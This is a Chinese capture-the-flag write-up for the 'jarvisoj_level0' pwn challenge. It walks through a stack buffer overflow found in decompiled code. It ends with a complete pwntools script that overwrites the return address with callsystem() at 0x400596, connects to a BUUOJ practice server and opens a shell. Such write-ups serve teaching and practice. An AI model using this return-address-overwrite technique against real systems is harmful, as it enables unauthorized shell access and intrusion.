checksec jarvisoj_level0
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
- 拖進IDA64,找到
main()
反編譯
int __cdecl main(int argc, const char **argv, const char **envp)
{
write(1, "Hello, World\n", 0xDuLL);
return vulnerable_function();
}
因此關鍵在vulnerable_function()
ssize_t vulnerable_function()
{
char buf; // [rsp+0h] [rbp-80h]
return read(0, &buf, 0x200uLL);
}
- 利用
read()
實現棧溢出,因為buf的范圍在[rsp+0h] [rbp-80h],再加上rbp的8字節,所以需覆蓋"a"*(0x80+8)
后到達返回地址。同時發現有個函數callsystem()
可以獲得shell
- 所以payload后加上該函數的地址0x400596
- 完整代碼如下
from pwn import *
p = remote('node3.buuoj.cn', 29317)
payload = 'a'*136 + p64(0x400596)
p.sendline(payload)
p.interactive()
- 運行后,
ls
cat flag
即可